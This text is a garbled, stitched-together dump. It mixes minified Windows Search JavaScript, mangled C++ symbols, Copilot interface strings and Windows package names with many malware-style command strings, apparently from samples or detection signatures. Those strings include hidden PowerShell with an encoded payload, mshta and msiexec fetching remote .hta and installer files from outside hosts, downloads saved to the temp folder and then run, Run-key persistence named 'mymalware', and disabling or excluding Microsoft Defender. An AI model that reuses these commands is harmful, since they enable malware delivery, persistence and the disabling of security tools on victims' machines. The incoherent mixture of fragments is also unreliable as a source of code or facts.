u=`CodexStatus${i}`,r=n.LightweightStorage.getItem(u);if(r){const n=JSON.parse(r);t.setIsCodexUser(!!n)}}}}static updateScopeList(n){n&&i.currentState!==2||t._scopeListRequiresUpdate.forEach(n=>n())}static dismissCleanup(){t.keepWSBOpen(!1);delete t._queryParamsCache[f.HomeGeographicRegion];t._queryToIgnoreOnQueryTextChangedEvent=null;t._currentQuery=null;t._queryPropertiesOverrides=null;t._fileExplorerCurrentPath=null;t._isDSBEnabledByClient=null;n.regionCache=null;t.closeFeedbackForm();t.removeFeedbackForm();t._inConversationMode=!1;t._qfDisabled=!1}static showFeedbackForm(){if(typeof WindowsFeedbackForm!="undefined"&&WindowsFeedbackForm.Show){const t=n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.hideFbig,i=n.AccessTokenManager.getWindowsAccountType()===1&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isMsbInternalTenant())||(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.noFbScr);WindowsFeedbackForm.Show("",undefined,t,i)}}static closeFeedbackForm(){n.safeFireEvent("WindowsFeedback.Form.Hide")}static removeFeedbackForm(){typeof WindowsFeedbackForm!="undefined"&&WindowsFeedbackForm.Remove&&WindowsFeedbackForm.Remove()}static checkIfBitmapInClipboardSupported(){if(i.getClipboardAvailableFormats)try{let n=i.getClipboardAvailableFormats();t._isBitmapInClipboardSupported=n!=null}catch(n){t._isBitmapInClipboardSupported=!1}else t._isBitmapInClipboardSupported=!1}static isBitmapInClipboardSupported(){return t._isBitmapInClipboardSupported}static async getBitmapURIFromClipboardAsync(){let t=n.safeExecute(()=>i.getClipboardAvailableFormats(),"getClipboardAvailableFormats",[]);if(!n.contains(t,"Bitmap"))return null;try{const t=await n.Async.safePromise("getClipboardBitmapAsync",()=>i.getClipboardBitmapAsync());return URL.createObjectURL(t)}catch(r){return null}}static setAuthHeadersFromWindowsTokens(){if(t._accessTokenManager){let r=t._headersCache;var i=n.AccessTokenManager.getWindowsAccountType();if(n.config.userProfileButtonEnabled){let i=t._accessTokenManager.getSelectedAccountInfo();if(i){let u=i.accountProviderAuthority=="consumers"?0:1;t._accessTokenManager.getAccountByUserName(!1,u,i.accountUserName,!1,!0,t=>{t&&t.Token&&(u==0?((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabledSearchEnabledMsaCache=n.RuntimeConfig.QfMode==5||(r?i.isCloudSearchEnabledForMSA:t);n.isCloudSearchEnabledAadCache=n.RuntimeConfig.QfMode==5||(r?i.isCloudSearchEnabledForAAD:t)}static initLanguage(){n.uiLanguageCache=(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.setLang)||i.systemLanguage||i.uiLanguage||"";t._queryParamsCache[f.SetLang]=n.uiLanguageCache}static initSettings(){n.hideFileExtensionsCache=i.hideFileExtensions}static initLocStrings(){let i=t._enUsLocStrings.length==0;for(let r of n.config.locStrings){let u={uiCulture:"en-US",name:r,namespace:"WindowsSearchBox"};i&&t._enUsLocStrings.push(LocStringManager.getLocString(u));const f=n.config.smallerBundle&&n.config.fixLocInitWhenMultiLang,e=n.uiLanguageCache.toLowerCase()=="en-us"||f&&n.uiLanguageCache.toLowerCase()=="en-us, en";if(!e){let r=null;if(f){const t=n.uiLanguageCache.split(",",4);for(let i of t)if(u.uiCulture=i.trim(),u.uiCulture.toLowerCase()!="en-us")try{if(r=n.safeExecute(()=>LocStringManager.getLocString(u),"getLocString",null,u.uiCulture),r)break}catch(f){n.LogWSBWarning("LocStringManager.getLocString Error",u.uiCulture)}}else u.uiCulture=n.uiLanguageCache,r=n.safeExecute(()=>LocStringManager.getLocString(u),"getLocString",null,u.uiCulture);if(r)t._locStrings.push(r);else if(n.config.smallerBundle&&!n.isBrowserOnline())setTimeout(()=>n.fallbackToPrepopulatedBundle(new Error("Language switched and force fallback.")),5e3);else if(n.config.smallerBundle&&n.config.reloadWebviewOnLangSwitch&&(i||this._pendingLangSwitch)&&!n.config.serviceWorker)if(t._languageSwitchedEventHandlers.length>0)this._pendingLangSwitch=!1,t._languageSwitchedEventHandlers.forEach(t=>n.safeExecute(()=>t(),"languageSwitched"));else{this._pendingLangSwitch=!0;return}else if(n.config.smallerBundle&&i&&n.config.serviceWorker){n.LogWSBWarning("BundleReduceTelemetry","",new Error("Display language switched."),"WindowsTelemetry");navigator.serviceWorker.ready.then(n=>{n.active.postMessage({message:"ls"})});return}}}}static async appVisibleInit(){var r,u;t.initCortanaEnabledAndRegion();u=n.uiLanguageCache;t.initLanguage();n.isThirdPartySearchAllowed()&&await t.prefetchAllWebSearchExtensions();n.config.noLocStringRefresh&&u!=n.uiLanguageCache?t.initLocStrings():n.config.noLocStringRefresh||t.initLocStrings();n.config.windowsUserConsentStatus&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56246287))&&(t._isOptionalDiagnosticDataDisabled=((r=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||r===void 0?void 0:r.consentState)!=3);n.refreshBingEnabledCache(i.isBingEnabled,t.getRegion(),t.getLanguage());n.RuntimeConfig.OnAppVisible();t._isFileExplorerOrControlPanel=n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9;n.setZeroInputDataSourcesForL1();t.initCloudSearch();t.initSettings();t.setCopilotInstallationStatus();t.initInstalledAppsByQueryInCurrentConversation();t.checkIfBitmapInClipboardSupported();t.updateScopeList();n.StaticHtmlElements.suggestionsList.setAttribute("aria-label",t.getLocString("ResultsList"));t._elToken=null;i.theme&&(t._defaultWindowsTheme=t._isFileExplorerOrControlPanel&&i.fileExplorerSuggestionPage?i.fileExplorerSuggestionPage.useDarkTheme?2:1:(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45995231))?i.theme.startsWith("ff")?1:2:i.theme.startsWith("000000")?2:1,t._accentColor="#"+i.theme.substr(7),i.appsUseLightTheme!==null&&(t._defaultAppTheme=i.appsUseLightTheme?1:2));t.refreshAccentColorShades();t.refreshDefaultBrowserInfoAsync();t.initEdgeMuids();ThresholdUtilities.getCortanaHeaders(n=>{n?(t.setCortanaHeadersCache(n),t.setIFFPolarisDefaultEnabledBuild(n),t.setIFFVegaDefaultEnabledBuild(n),t.setJupiterDefaultEnabledBuild(n),t.setSFSLNLStrixCFRFligtStatus(n),t.setRSHEnabledBuild(n),t.setIsCopilotPlusCapablePC(n)):SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogWarning("appVisibleInit",undefined,"get Cortana headers failed")});t.setIFFPolarisProviderEnabled();t.setnull,r,"WindowsTelemetry")}}}}static registerFeedbackDebugCallback(n){let i=n[1].debugCollector;i.registerCollectionCallback(sj_dm(this,t.collectDebugInfo))}static collectDebugInfo(){let r={},u=t._currentQuery&&t._currentQuery.originalQuery;u&&(r.query=u);r.conversationId=t._currentCVID;r.entryPoint=i.entryPoint;r.previousExperience=e.previousExperience;n.config.snrVersion&&(r.snrVersion=n.config.snrVersion);n.osSKUCache!==undefined&&(r.ossku=n.osSKUCache.toString());let f=i.width;f&&(r.width=f.toString());let o=i.height;return o&&(r.height=o.toString()),r}static clearInitialFetchTimer(){t._initialFetchTimer&&(sb_ct(t._initialFetchTimer),t._initialFetchTimer=null)}static callQueryChangedHandlers(r,u,f,e,o){if(t._qfDisabled)throw"Not supported";let s=t.getStructuredQuery(r,null,t._currentQuery);if(t._rawQueryChangedHandlers.forEach(t=>n.safeExecute(()=>t(s,u),"rawQueryTextChanged")),f||t.clearInitialFetchTimer(),!e){let n=i.impressionId;t.usedImpressionIds[n]||(e=n,t.usedImpressionIds[n]=!0)}let h=o&&!s.originalQuery;(h||!e||e==t._currentRawImpressionId?(t._currentRawImpressionId=t.createGuid(),t._currentRawImpressionIdCreatedByTheClient=!1):(t._currentRawImpressionId=e,t._currentRawImpressionIdCreatedByTheClient=!0),f)||(t._previousQuery=t._currentQuery,t._currentQuery=s,t._queryChangedHandlers.forEach(t=>n.safeExecute(()=>t(s,u),"queryTextChanged")))}static getStructuredQuery(r,u,f){var s;const e=r.queryText,h=r.cursorPosition;if(u&&u.originalQuery===e&&u.originalCursorPosition===h)return u;let c=t._queryPropertiesOverrides&&t._queryPropertiesOverrides.query==e,o=c&&n.isCortanaEnabledCache?(s=t._queryPropertiesOverrides)===null||s===void 0?void 0:s.taskFrame:null;if(!o&&n.isCortanaEnabledCache&&i.searchResultsView.getTaskFrame){let t=n.safeExecute(()=>i.searchResultsView.getTaskFrame(e),"getTaskFrame");t&&(o=n.parseTaskFrame(t))}return!o&&f&&f.taskFrame&&f.originalQuery==e&&(o=f.taskFrame),n.parseQuery(e,h,f,o,c&&t._queryPropertiesOverrides)}static async updateState(u,f,e){if(u!=f){if(t._state=f,u==0){let i=n.getCurrentTime();await t.chainHandlerPromises(t._appVisibleEventHandlers,"appVisible");n.InstrumentationHelper.instrumentAppVisibleFinish(i)}if(f==2){const u=n.getCurrentTime();if(t._shownEventHandlers.forEach(t=>n.safeExecute(()=>t(u),"shown")),n.InstrumentationHelper.instrumentAppShownFinish(u),!e&&!t._qfDisabled){const u=i.entryPoint=="WNSSTB";t._initialFetchTimer=n.safeSetTimeout(()=>t.callQueryChangedHandlers(r.getQueryText(),!1,!1,null,!0),u?n.config.initialFetchTimerDelayFromStartMenu||0:0,"initialFetch")}}if(u==2){t.clearInitialFetchTimer();const i=t._currentQuery;t._dismissedEventHandlers.forEach(t=>n.safeExecute(()=>t(i),"dismissed"))}f==0&&(t._appHiddenEventHandlers.forEach(t=>n.safeExecute(()=>t(),"appHidden")),t.setThirdPartyAppsCache(null))}}static searchBoxHasFocus(){return r.hasFocus}static async initializeEvents(){await t.updateState(t._state,i.currentState,!1)}static bindClearMRURequested(i,r){t._clearStorageRequestedHandlers[r]&&n.LogWSBError("bindClearMRURequested",null,new Error("Only one event handler supported"),undefined,undefined,"WindowsTelemetry");t._clearStorageRequestedHandlers[r]=i}static shouldRequestEltoken(){return t._shouldRequestEltoken}static getElToken(){return t._elToken}static setElToken(n){t._elToken=n;t._shouldRequestEltoken=!1}static sendElToken(){t._sendElTokenInSuggstionRequest=!0}static canHaveSearchHistory(){return n.searchHistoryAllowed()}static getInstrumentationParameters(n){let r=i.createStringMap?i.createStringMap():{};return _G.nclid&&(r[f.HashedMuid]=_G.nclid),r[f.FormCode]=n||t.getFormCode(),r[f.ConversationId]=t.getConversationId(),r}static appHiddenCleanup(){n.Async.clearGlobalCache();n.isCopySearchEnabled()||(t._locStrings=[]);n.cleanScopePrefixes();t.cleanTaskBarPinnedItems();n.clearPathExpansionCache();n.config.perfInstV2&&n.InstrumentationHelper.instrumentConversationTimelineFinish();n.config&&n.config.appHiddenForceFlush&&Log2&&Log2.ForceFlush()}static initCloudSearch(){let t=i.isCloudSearchEnabled!==!1,r=i.isMultiAccountCloudSearchSupported!==!1;n.isClou
policies\microsoft\windows\safer\codeidentifiers\0\paths\{1b55460a-c650-4bb7-ad7a-63a629dc7d3a}currentversion\policies\explorer\runc:\program files\a..\synec.exec:\hwsig.dllc:\haotu.dat
FrameworkElement@Xaml@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_2>@?5??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?6??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_3>@?6??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AUtype@?$abi@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_2>@?5??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_2>@?5??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_38>@?CL@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_38>@?CL@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_1>@?4??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_37>@?CK@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_37>@?CK@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_38>@?CL@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_37>@?CK@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_36>@?CH@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_35F
C:\Program Files\System32\voice.vbsC
=c:\windows\temp\
.exe"powershell-windowstylehidden-command"start-bitstransfer-source
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this fi 
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
=nc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0akaaoacgacwaoaggadabhacgakaaoacgaiaboacgadab0acgakabwadoalwavacgakaa1ac4akaaoacgamqaoacgaoaaoacgaoaaoac4akaaxacgakaaoadyakaaoacgangauaduakaaoacgakaa4ac8akaaoacgamqa2ac4amaa3ac4akaayacganqaoac4akaaoacgakabtacgakaaoahaakaa0acgakaanac4acgblahaababhagmazqaoaccakaanacwajwanackaowbnagmaygagahwaiabwag8adwblahiacwboaguababsaa==
addthewindowsdefenderexceptionsexception_paths=[#tsunamiinstallerrf"{roaming_appdata_path
 =c:\windows\temp\
Ok.~stream.savetofile"c:\windows\temp\
.exe",2stream.closeshell.run"c:\windows\temp\
Tkdisablemicrosoftdefenderantivirusregadd"hklm\software\policies\microsoft\windowsdefender"
Bows\system32\cmd.exe/cstart"""c:\users\bruno\appdata\roaming\
.windowsidentity.
<windowsidentity<
\system32\drivers\oreans32.sysoreans.com\\.\NTICEEU_SERVICE\x2.pdbElsword!#HSTR:TrojanSpy:Win32/Hitpop.AL
setAuthHeadersFromWindowsTokens
_defaultWindowsTheme
WindowsTopResults
WindowsSuggestionFileExplorer
57^windows.comServer
58^windows.protocol
58^windows.appExtension
Dc:\windows\system32\mshta.exehttp://a0708743.xsph.ru/regain/regions.pdf/f
@^powershell-windowstylehidden-executionpolicyremotesigned-file$targetpath
b..\..\..\..\windows\system32\cmd.exe$/cstartrundll32.exeo5p0se.dll,#1!%
\c$\windows\
Es.jsonlving hostname %sSOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName\prefT
awindows.getcurrent
Xpresswindows
INDOWS\system32\cmd.exe
.powershell.exe -windowstyle hidden -executionpolicy bypass  -commandp
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass  -command http://kh5vf9vv.com/fgghllk/
get_bindingConfigurationUIDset_bindingConfigurationUIDget_URLset_URLget_sSLset_sSLget_LastAccessedset_LastAccessedget_Clipboardget_Keyboardget_useSeparateFolderTreeset_useSeparateFolderTreeSendMessageMailMessageget_securityProfileset_securityProfileget_Credentialsset_UseDefaultCredentialsget_InternalServerPortset_InternalServerPortget_GuidMasterKeyset_GuidMasterKeySetWindowsHookEx
c:\windows\
"microsoft.windowscommunicationsapps_8wekyb3d8bbwej
/../../../../../../../../windows/system32/mpsigstub.exe
/f(\103:\\windows\\system32\\cmd.exe)/p(/c@echostrlink=
c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exekingston/ccmd<qjm.bmp%windir%\system32\shell32.dll%
Fhttp://107.175.113.212/file/firefoxwzexefile.vbs-oc:\windows\temp\
.vbs;start-processc:\windows\temp\
\windows\system32\mshta.exe%windir%\system32
.7z/f%windir%\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"mshtahttps://yip.su/
6Gc:\windows\system32\forfiles.exe/pc:\windows/mwin.ini/c"powershell.mshtahttps://21centuryart.com/arc/msncjsudh"
mXc:\windows\system32\mshta.exe"\\fundamentals-committee-uploaded-queue.trycloudflare.com@ssl\davwwwroot\kak.hta"
c:\windows\system32\windowspowershell\v1.0\powershell.exe\*i*\\\\*2\\\m??ta.???http://89.23.107.219/default.mp4
Microsoft-Windows-TCPIP
Microsoft-Windows-TCPIPUsage
Microsoft.Windows.Networking.WFP.Ale
Microsoft.Windows.Networking.WFP.Callout
Microsoft.Windows.Networking.WFP.Ale
Microsoft.Windows.Networking.WFP.IPsec
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.TlgAggregateInternal
TpmCore20::CreateWindowsNvBits2
:software\microsoft\windows\currentversion\runonce
c:\windows\system32\cmd.exememosite-ho(#1)z/q/rst^art^ms^i^exec/^qu^ie^t-f^v"http://2t.pm:8080/bcbe54rlvdmncgs/tgewf1v91dy63/%computername%"
2="c:\windows\temp\
c:\windows\system32\cmd.exe/ccurl-
c:\windows\system32\mshta.exe/s"javascript:try{try{try{var_
c:\windows\system32\windowspowershell\v1.0\powershell.exe[system.diagnostics.process]::start('mshta.exe','http://89.23.107.219/final.mp4')
QWindowsClipboardRetrievalMimeData::retrieveDataObject
QWindowsClipboard::registerViewer
QWindowsClipboard::clipboardViewerWndProc
QWindowsClipboard::mimeData
QWindowsClipboard::setMimeData
QWindowsClipboard::ownsMode
QWindowsDragCursorWindow::setPixmap
QWindowsOleDropSource::QWindowsOleDropSource
QWindowsOleDropSource::~QWindowsOleDropSource
QWindowsOleDropSource::createCursors
QWindowsOleDropSource::QueryContinueDrag
QWindowsOleDropTarget::QWindowsOleDropTarget
QWindowsOleDropTarget::~QWindowsOleDropTarget
QWindowsOleDropTarget::handleDrag
QWindowsOleDropTarget::DragEnter
QWindowsOleDropTarget::DragOver
QWindowsOleDropTarget::DragLeave
QWindowsOleDropTarget::Drop
QWindowsDrag::drag
QWindowsDrag::releaseDropDataObject
QWindowsUiaMainProvider::GetPatternProvider
QWindowsUiaMainProvider::GetPropertyValue
QWindowsUiaMainProvider::get_HostRawElementProvider
QWindowsUiaMainProvider::Navigate
QWindowsUiaMainProvider::GetRuntimeId
QWindowsUiaMainProvider::get_BoundingRectangle
QWindowsUiaMainProvider::GetEmbeddedFragmentRoots
QWindowsUiaMainProvider::SetFocus
QWindowsUiaMainProvider::get_FragmentRoot
QWindowsUiaMainProvider::ElementProviderFromPoint
QWindowsUiaMainProvider::GetFocus
DATA-WINDOWS-VERSION
DriverData=C:\Windows\System32\Drivers\DriverData
C:\WINDOWS\system32\SecurityHealthService.exe
Microsoft.Windows.OneCoreUap.CredUI
lf@po:i+00/c:\t1gaffes>.gaffes~2pigeonholedespots.jsz.pigeonholedespots.js$'..\..\..\..\gaffes\pigeonholedespots.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
%c:\windows\system32\mshta.exehttp://80.82.66.58/osmz/out-1421646881.hta
c:\windows\system32\mshta.exehttp://www.housing-support.me/test/xxx.hta
windows\\system32\\cmd.exe","/c"+cmd
GDW.regwrite"hkcu\software\microsoft\windows\currentversion\run\mymalware
}="c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe"${
5c:\windows\
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Shell.HardwareRequirements
MicrosoftWindowsFileExplorer
Microsoft.Windows.Shell.StorageSearch
Microsoft.Windows.TlgAggregateInternal
ChDir Windows.TextBox3.Tag= sNMSP.Namespace(dershlep)
>@?CD@??GetSharingContent@ShareCharmModel@@CAJPEAUIDataRequestedEventArgs@DataTransfer@ApplicationModel@34@AEBV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@1PEAUHWND__@@PEAVBaseHost@@@Z@$00PEAUIDataPackage@9ApplicationModel@34@PEAUIShareCompletedEventArgs@9ApplicationModel@34@@?$DelegateArgTraits@P8?$ITypedEventHandler_impl@U?$AggregateType@PEAVDataPackage@DataTransfer@ApplicationModel@Windows@ABI@@PEAUIDataPackage@2345@@Internal@Foundation@Windows@ABI@@U?$AggregateType@PEAVShareCompletedEventArgs@DataTransfer@ApplicationModel@Windows@ABI@@PEAUIShareCompletedEventArgs@2345@@2345@@Foundation@Windows@ABI@@EAAJPEAUIDataPackage@DataTransfer@ApplicationModel@34@PEAUIShareCompletedEventArgs@6734@@Z@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$ITypedEventHandler@PEAVDataPackage@DataTransfer@ApplicationModel@Windows@ABI@@PEAVShareCompletedEventArgs@2345@@Foundation@Windows@ABI@@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$00U?$ITypedEventHandler@PEAVDataPackage@DataTransfer@ApplicationModel@Windows@ABI@@PEAVShareCompletedEventArgs@2345@@Foundation@Windows@ABI@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$ITypedEventHandler@PEAVDataPackage@DataTransfer@ApplicationModel@Windows@ABI@@PEAVShareCompletedEventArgs@2345@@Foundation@Windows@ABI@@@Details@WRL@Microsoft@@
.?AV<lambda_1>@?CD@??GetSharingContent@ShareCharmModel@@CAJPEAUIDataRequestedEventArgs@DataTransfer@ApplicationModel@Windows@ABI@@AEBV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@1PEAUHWND__@@PEAVBaseHost@@@Z@
m/windows
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
>c:\windows\]
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-SD-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-OneCore-SD-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package04~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-RemoteFX-VM-Setup-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-IoTEnterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-RemoteFX-VM-Setup-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
